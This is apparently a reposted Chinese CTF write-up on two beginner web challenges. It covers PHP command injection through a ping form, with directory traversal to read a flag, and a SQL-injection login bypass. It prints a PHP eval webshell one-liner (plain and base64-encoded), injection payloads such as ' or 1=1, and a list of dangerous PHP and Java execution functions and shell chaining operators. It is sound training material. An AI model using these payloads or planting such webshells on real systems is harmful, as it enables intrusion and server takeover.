自学内容网 自学内容网

[ACTF2020] 新生赛]Exec1

目录

0x01命令执行

[ACTF2020 新生赛]Exec1

1、解法1

2、解法2

3、总结

3.1php命令注入函数

3.2java命令注入函数

3.3常见管道符

0x02SQL注入

[极客大挑战 2019]EasySQL1


0x01命令执行

[ACTF2020 新生赛]Exec1

image-20241015152430927

image-20241015152544312

1、解法1

ping本地,有回显,TTL=42,应该是修改过的,无法根据此判断系统类型。

分别尝试window和Linux系统命令,判断类型。

image-20241015152655899

查看本级目录

image-20241015153139315

遍历目录,查看上级目录

image-20241015153227934

查看上上级目录

image-20241015153251089

查看上上上级目录(到顶了),发现flag文件名

image-20241015153345926

读它

image-20241015153446128

2、解法2

写入webshell,用蚁剑连接

 直接写入
 echo '<?php eval($_POST[1]); ?>' > 1.php
 ​
 base64编码写入
 echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php

写入

image-20241015153738375

验证

image-20241015153811798

连接

image-20241015153953593

image-20241015154019131

image-20241015154032783

3、总结

3.1php命令注入函数

 exec() 、
 shell_exec() 、
 system() 、
 popen() 、 
 passthru() 、 
 proc_open() 、
 反引号`` 

exec:该函数无回显需使用 echo 进行输出,且只返回执行后的最后一行结果

 <?php
 $sys = $_REQUEST['value'];
 $cmd = exec($sys);
 echo $cmd;
 ?>

shell_exec():无回显需使用 echo 或者 var_dump 进行输出,但返回结果所有内容

 <?php
 $sys = $_REQUEST['value'];
 $cmd = shell_exec($sys);
 var_dump( $cmd);
 ?>

反引号`` :反引号其实调用的是shell_exec()函数,当反引号中的变量可控时就会造成命令执行,且无回显。

 <?php
 $sys = $_REQUEST['value'];
 $cmd = `$sys`;
 echo $cmd;
 ?>

system():有回显且返回所有内容。最常见的命令执行方式。如果目标是LInux则执行 Bash 命令,如果是Windows则执行 cmd 命令。

 //简单例子
 <?php
 $sys = $_REQUEST['value'];
 $cmd = system($sys);
 ?>

在ACTF2020新生赛Exec1该题中,后端逻辑为:

 <?php 
 if (isset($_POST['target'])) {
     system("ping -c 3 ".$_POST['target']);
 }
 ?>

popen(comnand,mode):该函数通常用于打开进程文件指针,但如果传入的参数可控也可造成命令执行,且该函数无回显,通过echo 不回直接返回执行的结果,而是返回的是文件指针。

 <?php
 $sys = $_REQUEST['value'];
 $cmd = popen($sys,'r');
 var_dump($cmd); ;
 ?>

passthru():与 system() 类似,也可将输入的参数当做命令执行,且函数执行后有回显。

<?php
$sys = $_REQUEST['value'];
$cmd = passthru($sys);
?>

proc_open():执行一个命令,并且打开用来输入/输出的文件指针。 类似 popen() 函数,

3.2java命令注入函数

java.lang.Runtime、
ava.lang.ProcessBuilder、
java.lang.UNIXProcess/ProcessImpl

3.3常见管道符

windows

| 直接执行后面的语句
|| 如果前面执行的语句出错,那么才执行后面的语句
& 前面和后面的语句都会被执行
&& 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句

linux

| 直接执行后面的语句
|| 如果前面执行的语句出错,那么才执行后面的语句
& 前面和后面的语句都会被执行
&& 前面语句出错后面的语句也不执行,只有前面的语句成功执行才执行后面的语句
; 前面的语句执行完成后,继续执行后面的语句。(特有)

0x02SQL注入

[极客大挑战 2019]EasySQL1

image-20241017094808447

image-20241017094719287

发现是登录界面,根据题目描述的提示,判断是SQL注入

随意输入用户名和密码,用hackbar LoadURL

image-20241017095042630

构造payload查看错误提示

/check.php?username=admin'aa--&password=1111
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'aa--' and password='1111'' at line 1

image-20241017095617738

根据提示可以分析出的信息有:

1、数据库:MariaDB
2、SQL后端逻辑:username='$username' and password='$password'

既然是登录框,那肯定是要登录上去看看的

/check.php?username=admin' or 1=1 --+&password='--+

image-20241017100036382

发现flag


原文地址:https://blog.csdn.net/zwm_20211031_475/article/details/143021204

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!